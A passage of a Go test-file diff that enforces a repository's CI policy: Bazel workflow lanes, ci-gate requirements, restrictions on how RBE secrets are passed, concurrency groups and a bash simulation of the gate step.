is the one lane with both the image and the pinned dolt + // CLI, so it is where the container and local test servers are compared. + job := readCIWorkflow(t, "pr.yml").job(t, "test-domain-uow") + const fingerprintStep = "Test Dolt server fingerprint (container + local)" + assertStepRunsExactly(t, job, fingerprintStep, + "go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/") + assertStepEnvValue(t, job, fingerprintStep, "BEADS_TEST_REQUIRE_DOLT_CONTAINER", "1") + gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env if !contains(gate.Needs, "test-domain-uow") { @@ -1163,6 +1204,11 @@ type ciWorkflow struct { } type ciWorkflowJob struct { + Name string `yaml:"name"` + Uses string `yaml:"uses"` + With map[string]string `yaml:"with"` + Secrets any `yaml:"secrets"` + Permissions any `yaml:"permissions"` Needs ciWorkflowStringList `yaml:"needs"` Steps []ciWorkflowStep `yaml:"steps"` RunsOn string `yaml:"runs-on"` @@ -1170,6 +1216,8 @@ type ciWorkflowJob struct { ContinueOnError bool `yaml:"continue-on-error"` TimeoutMinutes int `yaml:"timeout-minutes"` Strategy ciWorkflowStrategy `yaml:"strategy"` + Env map[string]string `yaml:"env"` + Outputs map[string]string `yaml:"outputs"` } type ciWorkflowStrategy struct { @@ -1418,11 +1466,18 @@ func captureOne(t *testing.T, pattern, body, source string) string { return matches[1] } -// --- Bazel lane (.github/workflows/bazel.yml, advisory) ---------------------- +// --- Bazel lane (.github/workflows/bazel.yml, gated through pr.yml) ---------- const ( bazelWorkflowName = "bazel.yml" bazelJobName = "bazel-test" + bazelPureJobName = "bazel-pure" + bazelDoltJobName = "bazel-doltserver" + bazelEmbedJobName = "bazel-embedded" + bazelRBEJobName = "rbe" + bazelIntegJobName = "bazel-integration" + bazelProxiedJobName = "bazel-proxied" + bazelServerJobName = "bazel-server-storage" setupBazelActionDir = ".github/actions/setup-bazel" uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" @@ -1436,9 +1491,75 @@ const ( "steps.bazel.outcome == 'success' && steps.bazel.outputs.cache-hit != 'true' }}" ) +// bazel.yml's jobs: the rbe job that decides the execution mode, the +// --config=ci lane, and one job per CI job a Bazel config mirrors. +var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelServerJobName, bazelJobName, bazelRBEJobName} + +// The lanes that only run remotely (skipped unless the rbe job chose remote); +// every other lane also runs locally. +var bazelRemoteOnlyJobs = map[string]bool{bazelEmbedJobName: true, bazelIntegJobName: true, bazelProxiedJobName: true, bazelServerJobName: true} + +// The rbe job's decision step reads exactly one secret, and only to test it +// for emptiness: its env value is a boolean, not the secret. +const ( + bazelRBESecretPath = ".jobs." + bazelRBEJobName + ".steps[0].env.HAS_EXECUTOR" + bazelRBESecretValue = "${{ secrets.RBE_WEST_EXECUTOR != '' }}" +) + // The only triggers bazel.yml may have. pull_request_target (and -// workflow_run) would run with secrets in the context of fork PRs. -var bazelWorkflowTriggers = []string{"merge_group", "pull_request", "push", "workflow_call", "workflow_dispatch"} +// workflow_run) would run with secrets in the context of fork PRs. PRs and +// merge groups reach it only through pr.yml's call, so it runs once per PR. +var bazelWorkflowTriggers = []string{"push", "workflow_call", "workflow_dispatch"} + +// What pr.yml's ci-gate does with each bazel.yml lane (every job but the rbe +// job, whose rbe-mode output the gate reads): a gated lane has a +// CI_GATE_REQUIRED id read from its workflow_call output; an advisory lane is +// not part of pr.yml's call at all (the call's inputs turn it off, checked by +// TestBazelGateSimulation), for the recorded reason. A new job in bazel.yml +// must be added to one of the two (TestBazelLaneIsGatedAlongsideLegacy). +var bazelLaneGateIDs = map[string]string{ + bazelJobName: "BAZEL_TEST", + bazelPureJobName: "BAZEL_PURE", + bazelEmbedJobName: "BAZEL_EMBEDDED", + bazelDoltJobName: "BAZEL_DOLTSERVER", + // Remote-only PR Risk tiers (fork and Dependabot PRs rely on + // pr-risk.yml's legacy jobs, like the embedded tier's). + bazelProxiedJobName: "BAZEL_PROXIED", + bazelServerJobName: "BAZEL_SERVER_STORAGE", +} + +var bazelAdvisoryLanes = map[string]string{ + bazelIntegJobName: "its legacy counterparts, main.yml's integration jobs, run only on push to main", +} + +// bazel-integration's if: remote only, and off when the caller passes +// integration: "off" (pr.yml). A string input: on push and dispatch it is +// null, and null != 'off', so the lane keeps running on main. +const bazelIntegIf = "${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }}" + +// pr.yml's call of bazel.yml: exactly these inputs (review D1 v2 N3). An rbe +// override would put every PR in local mode and ungate the embedded tier +// while the gate stays self-consistent. +var bazelPRCallWith = map[string]string{ + "build-artifact-name": "bazel-ci-build-artifacts", + "integration": "off", +} + +// The call's aggregate result (needs.bazel.result, through bazel-gate.sh). +const bazelAggregateGateID = "BAZEL" + +// The gate script and the rbe job's execution modes. +const bazelGateScript = ".github/scripts/bazel-gate.sh" + +var bazelRBEModes = []string{"remote", "local", "skip"} + +// The four RBE secrets, the only ones a caller may hand bazel.yml. +var bazelCallSecrets = map[string]string{ + "RBE_WEST_EXECUTOR": "${{ secrets.RBE_WEST_EXECUTOR }}", + "RBE_TLS_CERT": "${{ secrets.RBE_TLS_CERT }}", + "RBE_TLS_KEY": "${{ secrets.RBE_TLS_KEY }}", + "RBE_TLS_CA": "${{ secrets.RBE_TLS_CA }}", +} type ciCompositeAction struct { Runs struct { @@ -1464,50 +1585,772 @@ func readSetupBazelAction(t *testing.T) ciCompositeAction { return action } -// The Bazel lane is advisory until the equivalence record and a human promote -// it: no ci-gate may need it or list it in CI_GATE_REQUIRED. -func TestBazelWorkflowIsAdvisory(t *testing.T) { +// bazel.yml's jobs, their runner, rbe-west gate and skip rules, and the +// setup-bazel env. The skip rules are also what pr.yml's ci-gate accepts as a +// skip (TestBazelGateSimulation). +func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) - if len(workflow.Jobs) != 1 { - t.Errorf("%s jobs = %d, want only %q", bazelWorkflowName, len(workflow.Jobs), bazelJobName) + var names []string + for name, job := range workflow.Jobs { + names = append(names, name) + if job.ContinueOnError { + t.Errorf("%s continue-on-error hides failures from pr.yml's ci-gate", name) + } + if job.TimeoutMinutes == 0 { + t.Errorf("%s has no timeout-minutes", name) + } } - job := workflow.job(t, bazelJobName) - // The farm admits the Blacksmith pool only; forks (no secrets) and rbe=off - // build locally on the GitHub-hosted runner. - if want := "${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}"; job.RunsOn != want { - t.Errorf("%s runs-on = %q, want %q", bazelJobName, job.RunsOn, want) + sort.Strings(names) + if !reflect.DeepEqual(names, bazelJobNames) { + t.Errorf("%s jobs = %v, want %v", bazelWorkflowName, names, bazelJobNames) } - if job.ContinueOnError { - t.Errorf("%s continue-on-error hides failures; the lane is advisory by staying out of ci-gate", bazelJobName) + // Every lane needs the rbe job and takes its runner, skip rule and + // setup-bazel env from that job's outputs alone. Remote runs use the + // Blacksmith pool (the farm admits nothing else); local runs (forks, + // rbe=off, secret-less Dependabot runs) the GitHub-hosted runner. + const wantRunsOn = "${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" + // Local-capable lanes skip only in mode skip (same-repo, RBE_WEST_WORKERS + // unset); remote-only lanes (27 race processes and more, an hour or more + // on a GitHub-hosted runner, for tests the Go jobs already run there) + // skip unless remote. + const wantIf = "${{ needs.rbe.outputs.mode != 'skip' }}" + const wantRemoteOnlyIf = "${{ needs.rbe.outputs.enabled == 'true' }}" + gate := "needs.rbe.outputs.enabled == 'true' && " + wantSetupEnv := map[string]string{ + "BAZEL_REMOTE_EXECUTOR": "${{ " + gate + "secrets.RBE_WEST_EXECUTOR || '' }}", + "RBE_TLS_CERT": "${{ " + gate + "secrets.RBE_TLS_CERT || '' }}", + "RBE_TLS_KEY": "${{ " + gate + "secrets.RBE_TLS_KEY || '' }}", + "RBE_TLS_CA": "${{ " + gate + "secrets.RBE_TLS_CA || '' }}", + "RBE_INSTANCE": "${{ " + gate + "'oss' || '' }}", } - for _, name := range []string{"pr.yml", "pr-risk.yml"} { - for jobName, j := range readCIWorkflow(t, name).Jobs { - for _, need := range j.Needs { - if strings.Contains(strings.ToLower(need), "bazel") { - t.Errorf("%s job %q needs %q; the Bazel lane is advisory", name, jobName, need) - } - } - for _, step := range j.Steps { - for key, value := range step.Env { - if strings.Contains(strings.ToUpper(key), "BAZEL") || - (key == "CI_GATE_REQUIRED" && strings.Contains(strings.ToUpper(value), "BAZEL")) { - t.Errorf("%s job %q step %q env %s=%q wires the Bazel lane into a gate", name, jobName, step.Name, key, value) - } - } + for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) { + t.Errorf("%s needs = %v, want [%s]", name, job.Needs, bazelRBEJobName) + } + if job.RunsOn != wantRunsOn { + t.Errorf("%s runs-on = %q, want %q", name, job.RunsOn, wantRunsOn) + } + want := wantIf + if bazelRemoteOnlyJobs[name] { + want = wantRemoteOnlyIf + } + if name == bazelIntegJobName { + want = bazelIntegIf + } + if job.If != want { + t.Errorf("%s if = %q, want %q", name, job.If, want) + } + for _, step := range job.Steps { + if step.Uses == "./"+setupBazelActionDir && !reflect.DeepEqual(step.Env, wantSetupEnv) { + t.Errorf("%s setup-bazel env = %v, want %v", name, step.Env, wantSetupEnv) } } } } +type bazelWorkflowCall struct { + Inputs map[string]struct { + Type string `yaml:"type"` + Default string `yaml:"default"` + } `yaml:"inputs"` + Secrets map[string]struct { + Required bool `yaml:"required"` + } `yaml:"secrets"` + Outputs map[string]struct { + Value string `yaml:"value"` + } `yaml:"outputs"` +} + +func readBazelWorkflowCall(t *testing.T) bazelWorkflowCall { + t.Helper() + path := filepath.Join(sourceRepoRoot(t), ".github", "workflows", bazelWorkflowName) + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + var doc struct { + On struct { + WorkflowCall bazelWorkflowCall `yaml:"workflow_call"` + } `yaml:"on"` + } + if err := yaml.Unmarshal(data, &doc); err != nil { + t.Fatalf("parse %s: %v", path, err) + } + return doc.On.WorkflowCall +} + +// Slice D1: pr.yml calls bazel.yml once per PR and merge group, and its +// ci-gate requires the Bazel lanes in addition to (not instead of) the legacy +// jobs they mirror, which stay required in pr.yml and pr-risk.yml. +func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + call := readBazelWorkflowCall(t) + + // Every job is the rbe job, a gated lane or an advisory lane (review D1 + // F4): a new job cannot join the call without a decision about the gate. + wantCallOutputs := map[string]string{ + "rbe-enabled": "${{ jobs." + bazelRBEJobName + ".outputs.enabled }}", + "rbe-mode": "${{ jobs." + bazelRBEJobName + ".outputs.mode }}", + } + for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + _, gated := bazelLaneGateIDs[name] + _, advisory := bazelAdvisoryLanes[name] + if gated == advisory { + t.Errorf("%s job %s: gated=%v advisory=%v; add it to exactly one of bazelLaneGateIDs (with a CI_GATE_REQUIRED id in pr.yml) or bazelAdvisoryLanes (with the reason)", + bazelWorkflowName, name, gated, advisory) + } + // Each lane reports its job.status from an always() last step. + if !reflect.DeepEqual(job.Outputs, map[string]string{"result": "${{ steps.result.outputs.result }}"}) { + t.Errorf("%s outputs = %v, want only result from the result step", name, job.Outputs) + } + last := job.Steps[len(job.Steps)-1] + if last.ID != "result" || last.If != "${{ always() }}" || !reflect.DeepEqual(last.Env, map[string]string{"JOB_STATUS": "${{ job.status }}"}) || + last.Run != `echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT"` { + t.Errorf("%s last step = %+v; want the always() job.status recorder", name, last) + } + wantCallOutputs[name] = "${{ jobs." + name + ".outputs.result }}" + } + for name := range bazelLaneGateIDs { + if _, ok := workflow.Jobs[name]; !ok { + t.Errorf("bazelLaneGateIDs lists %s, which %s does not have", name, bazelWorkflowName) + } + } + for name := range bazelAdvisoryLanes { + if _, ok := workflow.Jobs[name]; !ok { + t.Errorf("bazelAdvisoryLanes lists %s, which %s does not have", name, bazelWorkflowName) + } + } + gotCallOutputs := map[string]string{} + for name, out := range call.Outputs { + gotCallOutputs[name] = out.Value + } + if !reflect.DeepEqual(gotCallOutputs, wantCallOutputs) { + t.Errorf("workflow_call outputs = %v, want %v", gotCallOutputs, wantCallOutputs) + } + + // One caller on PR events: pr.yml's bazel job, with the four RBE secrets + // only, read-only contents, and no if (the rbe job decides). + pr := readCIWorkflow(t, "pr.yml") + bazel := pr.job(t, "bazel") + if bazel.Uses != "./.github/workflows/"+bazelWorkflowName || bazel.If != "" || len(bazel.Needs) != 0 { + t.Errorf("pr.yml bazel job uses=%q if=%q needs=%v; want an unconditional call of %s", bazel.Uses, bazel.If, bazel.Needs, bazelWorkflowName) + } + if !reflect.DeepEqual(bazel.Permissions, map[string]any{"contents": "read"}) { + t.Errorf("pr.yml bazel job permissions = %v, want contents: read", bazel.Permissions) + } + if !reflect.DeepEqual(bazel.With, bazelPRCallWith) { + t.Errorf("pr.yml bazel job with = %v, want exactly %v (no rbe or other override)", bazel.With, bazelPRCallWith) + } + if in := call.Inputs["integration"]; in.Type != "string" || in.Default != "on" { + t.Errorf("workflow_call input integration = %+v, want type string, default on (a boolean reads null as false on push)", in) + } + var declared []string + for name := range call.Secrets { + declared = append(declared, name) + if call.Secrets[name].Required { + t.Errorf("workflow_call secret %s is required; fork and Dependabot runs have none", name) + } + } + sort.Strings(declared) + var wantSecrets []string + for name := range bazelCallSecrets { + wantSecrets = append(wantSecrets, name) + } + sort.Strings(wantSecrets) + if !reflect.DeepEqual(declared, wantSecrets) { + t.Errorf("workflow_call secrets = %v, want %v", declared, wantSecrets) + } + callers := 0 + entries, err := os.ReadDir(filepath.Join(sourceRepoRoot(t), ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".yml") || entry.Name() == bazelWorkflowName { + continue + } + for jobName, job := range readCIWorkflow(t, entry.Name()).Jobs { + if !strings.HasSuffix(job.Uses, "/"+bazelWorkflowName) { + continue + } + callers++ + // A caller forwards the RBE secrets: it must never run in a + // fork's privileged context (review D1 v2 N5). + for _, trigger := range yamlMapKeys(readYAMLNode(t, filepath.Join(".github", "workflows", entry.Name())), "on") { + if trigger == "pull_request_target" || trigger == "workflow_run" { + t.Errorf("%s calls %s and has trigger %s; a caller may not run with secrets in a fork PR's context", entry.Name(), bazelWorkflowName, trigger) + } + } + if entry.Name() != "pr.yml" && entry.Name() != "nightly.yml" { + t.Errorf("%s job %s calls %s; only pr.yml (PRs) and nightly.yml may", entry.Name(), jobName, bazelWorkflowName) + } + got := map[string]string{} + if m, ok := job.Secrets.(map[string]any); ok { + for k, v := range m { + got[k] = fmt.Sprint(v) + } + } + if !reflect.DeepEqual(got, bazelCallSecrets) { + t.Errorf("%s job %s secrets = %v, want exactly %v (never inherit)", entry.Name(), jobName, job.Secrets, bazelCallSecrets) + } + } + } + if callers != 2 { + t.Errorf("%d jobs call %s, want 2 (pr.yml, nightly.yml)", callers, bazelWorkflowName) + } + + // The gate: needs the call and requires exactly BAZEL plus one id per + // gated lane, each read from the lane's output (a missing output reads + // as skipped). BAZEL itself comes from bazel-gate.sh, never the env. + gate := pr.job(t, "ci-gate") + evaluate := gate.step(t, "Evaluate CI gate") + required := strings.Fields(evaluate.Env["CI_GATE_REQUIRED"]) + if !contains(gate.Needs, "bazel") { + t.Errorf("ci-gate needs = %v, want bazel", gate.Needs) + } + wantBazelIDs := []string{bazelAggregateGateID} + for lane, id := range bazelLaneGateIDs { + wantBazelIDs = append(wantBazelIDs, id) + if want := "${{ needs.bazel.outputs." + lane + " || 'skipped' }}"; evaluate.Env[id] != want { + t.Errorf("ci-gate env %s = %q, want %q", id, evaluate.Env[id], want) + } + } + sort.Strings(wantBazelIDs) + var gotBazelIDs []string + for _, id := range required { + if strings.HasPrefix(id, "BAZEL") { + gotBazelIDs = append(gotBazelIDs, id) + } + } + sort.Strings(gotBazelIDs) + if !reflect.DeepEqual(gotBazelIDs, wantBazelIDs) { + t.Errorf("ci-gate CI_GATE_REQUIRED Bazel ids = %v, want exactly %v", gotBazelIDs, wantBazelIDs) + } + if _, ok := evaluate.Env[bazelAggregateGateID]; ok { + t.Errorf("ci-gate env sets %s; it must come from %s aggregate", bazelAggregateGateID, bazelGateScript) + } + for id, value := range evaluate.Env { + for lane := range bazelAdvisoryLanes { + if strings.Contains(value, "outputs."+lane) { + t.Errorf("ci-gate env %s reads advisory lane %s, which is not in the PR call (%s)", id, lane, bazelAdvisoryLanes[lane]) + } + } + } + for key, want := range map[string]string{ + "BAZEL_CALL": "${{ needs.bazel.result }}", + "BAZEL_RBE_MODE": "${{ needs.bazel.outputs.rbe-mode }}", + "BAZEL_RBE_ENABLED": "${{ needs.bazel.outputs.rbe-enabled }}", + } { + if evaluate.Env[key] != want { + t.Errorf("ci-gate env %s = %q, want %q", key, evaluate.Env[key], want) + } + } + // The gate reads the call's decision; it never re-derives it. + rederive := regexp.MustCompile(`(?i)RBE_WEST_WORKERS|head\.repo\.fork|HEAD_REPO_FORK|github\.actor|dependabot|secrets\.RBE`) + for key, value := range evaluate.Env { + if rederive.MatchString(key + "=" + value) { + t.Errorf("ci-gate env %s=%q re-derives the Bazel execution mode; read needs.bazel.outputs.rbe-mode", key, value) + } + } + if rederive.MatchString(evaluate.Run) { + t.Errorf("ci-gate run re-derives the Bazel execution mode:\n%s", evaluate.Run) + } + for _, line := range strings.Split(readPolicyFile(t, sourceRepoRoot(t), bazelGateScript), "\n") { + if !strings.HasPrefix(strings.TrimSpace(line), "#") && (rederive.MatchString(line) || strings.Contains(line, "GITHUB_EVENT")) { + t.Errorf("%s re-derives the execution mode: %q", bazelGateScript, line) + } + } + + // Legacy jobs stay required: D1 adds, D2 removes. + for id, job := range map[string]string{ + "BUILD_ARTIFACTS": "build-artifacts", + "PR_CORE_WRAPPER": "pr-core-wrapper", + "CHECK_CMD_BD_PUREGEO_TESTS": "check-cmd-bd-puregeo-tests", + "TEST_DOMAIN_UOW": "test-domain-uow", + "CONTRACT_CORPUS": "contract-corpus", + } { + if !contains(required, id) || !contains(gate.Needs, job) { + t.Errorf("pr.yml ci-gate no longer requires legacy %s (%s)", job, id) + } + } + risk := readCIWorkflow(t, "pr-risk.yml") + riskGate := risk.job(t, "ci-gate") + riskRequired := strings.Fields(riskGate.step(t, "Evaluate CI gate").Env["CI_GATE_REQUIRED"]) + for _, id := range []string{"BUILD_EMBEDDED", "TEST_EMBEDDED_STORAGE", "TEST_EMBEDDED_CONFORMANCE", "TEST_EMBEDDED_CMD"} { + if !contains(riskRequired, id) { + t.Errorf("pr-risk.yml ci-gate no longer requires legacy %s", id) + } + } + // PR Risk does not run the lane a second time. + for jobName, job := range risk.Jobs { + if strings.Contains(job.Uses, "bazel") || contains(job.Needs, "bazel") { + t.Errorf("pr-risk.yml job %s runs or needs the Bazel lane; pr.yml owns it", jobName) + } + } +} + +// A called workflow's workflow-level concurrency group is evaluated in the +// caller's context, where github.workflow is the caller's name: a group equal +// to the caller's own deadlocks and GitHub cancels the call (BAZEL cancelled, +// every PR red). So bazel.yml's group never uses github.workflow and, for +// every event its callers run on, differs from each caller's group (review +// D1 v2 N4). +func TestBazelCallConcurrencyDiffersFromCallers(t *testing.T) { + group := func(file string) string { + t.Helper() + var doc struct { + Concurrency struct { + Group string `yaml:"group"` + } `yaml:"concurrency"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+file)), &doc); err != nil { + t.Fatal(err) + } + return doc.Concurrency.Group + } + bazelGroup := group(bazelWorkflowName) + if bazelGroup == "" || strings.Contains(bazelGroup, "github.workflow") { + t.Fatalf("%s concurrency group = %q; want a fixed prefix, never github.workflow (the caller's name in a call)", bazelWorkflowName, bazelGroup) + } + exprRe := regexp.MustCompile(`\$\{\{\s*(.*?)\s*\}\}`) + eval := func(g, workflowName, event string) string { + t.Helper() + ctx := map[string]string{ + "github.workflow": workflowName, + "github.event_name": event, + "github.ref": "refs/pull/123/merge", + "github.event.pull_request.number || github.ref": "123", + } + if event != "pull_request" { + ctx["github.ref"] = "refs/heads/gh-readonly-queue/main/pr-123" + ctx["github.event.pull_request.number || github.ref"] = ctx["github.ref"] + } + return exprRe.ReplaceAllStringFunc(g, func(m string) string { + v, ok := ctx[exprRe.FindStringSubmatch(m)[1]] + if !ok { + t.Fatalf("concurrency group %q: cannot evaluate %s", g, m) + } + return v + }) + } + for _, caller := range []string{"pr.yml", "nightly.yml"} { + callerGroup := group(caller) + if callerGroup == "" { + continue // no workflow-level group, nothing to collide with + } + name := yamlScalar(readYAMLNode(t, filepath.Join(".github", "workflows", caller)), "name") + for _, event := range []string{"pull_request", "merge_group", "push", "schedule", "workflow_dispatch"} { + if a, b := eval(bazelGroup, name, event), eval(callerGroup, name, event); a == b { + t.Errorf("%s event %s: %s's concurrency group %q equals the caller's; the call would deadlock", caller, event, bazelWorkflowName, a) + } + } + } +} + +// bazelLaneRunModes: the rbe modes in which a lane's `if:` runs it, for a +// call with these inputs. Only the forms TestBazelWorkflowJobsAndExecutionMode +// allows are known. GitHub's != on strings is case-insensitive. +func bazelLaneRunModes(t *testing.T, lane, ifExpr string, with map[string]string) map[string]bool { + t.Helper() + switch ifExpr { + case "${{ needs.rbe.outputs.mode != 'skip' }}": + return map[string]bool{"remote": true, "local": true} + case "${{ needs.rbe.outputs.enabled == 'true' }}": + return map[string]bool{"remote": true} + case bazelIntegIf: + if strings.EqualFold(with["integration"], "off") { + return map[string]bool{} + } + return map[string]bool{"remote": true} + } + t.Fatalf("%s if = %q: teach bazelLaneRunModes which modes run it", lane, ifExpr) + return nil +} + +// bazelGateScenario: what pr.yml's ci-gate sees of one bazel.yml call. +type bazelGateScenario struct { + name string + event string + mode, enabled string // the call's rbe-mode / rbe-enabled outputs + call string // needs.bazel.result + outputs map[string]string // the lanes' outputs ("" = not reported) + wantPass bool + wantMention string // a red gate must name this id +} + +// runPRGateStep runs pr.yml's actual "Evaluate CI gate" step (its run block, +// under GitHub's bash flags) with its env evaluated for the scenario: every +// non-Bazel need succeeded; Bazel expressions read the scenario. An env +// expression of any other form fails the test, so the simulation cannot +// silently drift from the workflow. +func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (bool, string) { + t.Helper() + expr := regexp.MustCompile(`^\$\{\{ needs\.([A-Za-z0-9_-]+)\.(result|outputs\.([A-Za-z0-9_-]+))( \|\| 'skipped')? \}\}$`) + env := []string{"PATH=" + os.Getenv("PATH"), "GITHUB_EVENT_NAME=" + sc.event} + for key, value := range step.Env { + if !strings.Contains(value, "${{") { + env = append(env, key+"="+value) + continue + } + m := expr.FindStringSubmatch(value) + if m == nil { + t.Fatalf("ci-gate env %s = %q: the gate simulation cannot evaluate it", key, value) + } + var got string + switch { + case m[1] != "bazel" && m[2] == "result": + got = "success" + case m[1] != "bazel": + t.Fatalf("ci-gate env %s = %q: the gate simulation cannot evaluate it", key, value) + case m[2] == "result": + got = sc.call + case m[3] == "rbe-mode": + got = sc.mode + case m[3] == "rbe-enabled": + got = sc.enabled + default: + got = sc.outputs[m[3]] + } + if got == "" && m[4] != "" { + got = "skipped" + } + env = append(env, key+"="+got) + } + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", step.Run) + cmd.Dir = sourceRepoRoot(t) + cmd.Env = env + out, err := cmd.CombinedOutput() + return err == nil, string(out) +} + +// The gate over every execution mode (review D1 F3): the skip script allows +// exactly the skips the lanes' own `if:`s produce in that mode, and for every +// lane that should run, that lane alone skipped, failed or cancelled turns +// pr.yml's actual gate step red, whatever the aggregate says. The advisory +// integration lane's failure alone keeps it green; a missing or inconsistent +// mode, or an aggregate failure no lane explains, turns it red. +func TestBazelGateSimulation(t *testing.T) { + requireHostTool(t, "bash") + root := sourceRepoRoot(t) + workflow := readCIWorkflow(t, bazelWorkflowName) + pr := readCIWorkflow(t, "pr.yml") + step := pr.job(t, "ci-gate").step(t, "Evaluate CI gate") + callWith := pr.job(t, "bazel").With + + lanes := map[string]map[string]bool{} // lane -> modes it runs in, in pr.yml's call + for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + lanes[name] = bazelLaneRunModes(t, name, job.If, callWith) + // Advisory lanes are not in the PR call; gated lanes run at least + // when remote. + if _, advisory := bazelAdvisoryLanes[name]; advisory && len(lanes[name]) != 0 { + t.Errorf("advisory lane %s runs in pr.yml's call in modes %v; turn it off there (%s)", name, lanes[name], bazelAdvisoryLanes[name]) + } + if _, gated := bazelLaneGateIDs[name]; gated && !lanes[name]["remote"] { + t.Errorf("gated lane %s does not run in pr.yml's call even in remote mode", name) + } + } + enabledFor := func(mode string) string { return strconv.FormatBool(mode == "remote") } + + runScript := func(mode, enabled, arg string) string { + t.Helper() + cmd := exec.Command("bash", bazelGateScript, arg) + cmd.Dir = root + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=" + mode, "BAZEL_RBE_ENABLED=" + enabled} + out, err := cmd.Output() + if err != nil { + t.Fatalf("%s %s (mode %q, enabled %q): %v", bazelGateScript, arg, mode, enabled, err) + } + return strings.TrimSpace(string(out)) + } + + var scenarios []bazelGateScenario + for _, mode := range bazelRBEModes { + // Expected skips, from the jobs' ifs alone. + var wantSkips []string + anyRuns := false + for lane, modes := range lanes { + if modes[mode] { + anyRuns = true + } else if id, gated := bazelLaneGateIDs[lane]; gated { + wantSkips = append(wantSkips, id) + } + } + if !anyRuns { + wantSkips = append(wantSkips, bazelAggregateGateID) + } + sort.Strings(wantSkips) + gotSkips := strings.Fields(runScript(mode, enabledFor(mode), "skips")) + sort.Strings(gotSkips) + if !reflect.DeepEqual(gotSkips, wantSkips) && !(len(gotSkips) == 0 && len(wantSkips) == 0) { + t.Errorf("mode %s: %s skips = %v, want exactly %v (the ids whose job if is false)", mode, bazelGateScript, gotSkips, wantSkips) + } + + base := func() map[string]string { + out := map[string]string{} + for lane, modes := range lanes { + if modes[mode] { + out[lane] = "success" + } + } + return out + } + with := func(kv ...string) map[string]string { + out := base() + for i := 0; i+1 < len(kv); i += 2 { + out[kv[i]] = kv[i+1] + } + return out + } + sc := func(name, call string, outputs map[string]string, pass bool, mention string) { + for _, event := range []string{"pull_request", "merge_group"} { + scenarios = append(scenarios, bazelGateScenario{ + name: mode + "/" + event + "/" + name, event: event, mode: mode, enabled: enabledFor(mode), + call: call, outputs: outputs, wantPass: pass, wantMention: mention, + }) + } + } + + sc("every lane as designed", "success", base(), true, "") + sc("aggregate failure no lane explains", "failure", base(), false, bazelAggregateGateID) + sc("aggregate cancelled", "cancelled", base(), false, bazelAggregateGateID) + sc("aggregate skipped", "skipped", base(), mode == "skip", bazelAggregateGateID) + + for lane, modes := range lanes { + id, gated := bazelLaneGateIDs[lane] + if !gated { + // Advisory: not in the call, so it cannot report, and + // nothing about it excuses the aggregate. + for _, result := range []string{"failure", "cancelled"} { + sc(lane+" reports "+result+" though off", "failure", with(lane, result), false, bazelAggregateGateID) + } + continue + } + if !modes[mode] { + // Skipped by design (baseline); if it ran anyway and failed, + // the gate still sees it. + sc(lane+" ran and failed", "failure", with(lane, "failure"), false, id) + continue + } + for _, call := range []string{"success", "failure"} { + sc(lane+" alone skipped, aggregate "+call, call, with(lane, ""), false, id) + sc(lane+" failed, aggregate "+call, call, with(lane, "failure"), false, id) + sc(lane+" cancelled, aggregate "+call, call, with(lane, "cancelled"), false, id) + } + sc(lane+" cancelled, aggregate cancelled", "cancelled", with(lane, "cancelled"), false, id) + } + } + + // A missing or inconsistent decision (the rbe job failed, the call never + // started, or the outputs disagree) allows no skip and fails the gate. + for _, bad := range []struct{ mode, enabled string }{ + {"", ""}, {"remote", "false"}, {"local", "true"}, {"skip", "true"}, {"remote", ""}, {"bogus", "false"}, {"REMOTE", "true"}, + } { + if got := runScript(bad.mode, bad.enabled, "skips"); got != "" { + t.Errorf("mode %q enabled %q: skips = %q, want none", bad.mode, bad.enabled, got) + } + all := map[string]string{} + for lane := range lanes { + all[lane] = "success" + } + scenarios = append(scenarios, + bazelGateScenario{name: "invalid " + bad.mode + "/" + bad.enabled + ", every lane success", event: "pull_request", + mode: bad.mode, enabled: bad.enabled, call: "success", outputs: all, wantMention: bazelAggregateGateID}, + bazelGateScenario{name: "invalid " + bad.mode + "/" + bad.enabled + ", nothing ran", event: "pull_request", + mode: bad.mode, enabled: bad.enabled, call: "failure", outputs: map[string]string{}, wantMention: bazelAggregateGateID}, + ) + } + + for _, sc := range scenarios { + t.Run(sc.name, func(t *testing.T) { + pass, out := runPRGateStep(t, step, sc) + if pass != sc.wantPass { + t.Errorf("gate pass = %v, want %v (outputs %v, call %s)\n%s", pass, sc.wantPass, sc.outputs, sc.call, out) + } + if !sc.wantPass && sc.wantMention != "" && !regexp.MustCompile(`::error::`+sc.wantMention+`\b`).MatchString(out) { + t.Errorf("red gate does not name %s:\n%s", sc.wantMention, out) + } + }) + } +} + +// Artifact names are unique within a run, and a called workflow's uploads +// belong to the caller's run: a duplicate name makes the second upload fail +// (409) or a download pick the wrong file. So every run that calls bazel.yml +// (with its own inputs) must not upload any name twice (review D1 F7). +func TestBazelArtifactNamesUniqueInCallerRuns(t *testing.T) { + for _, caller := range 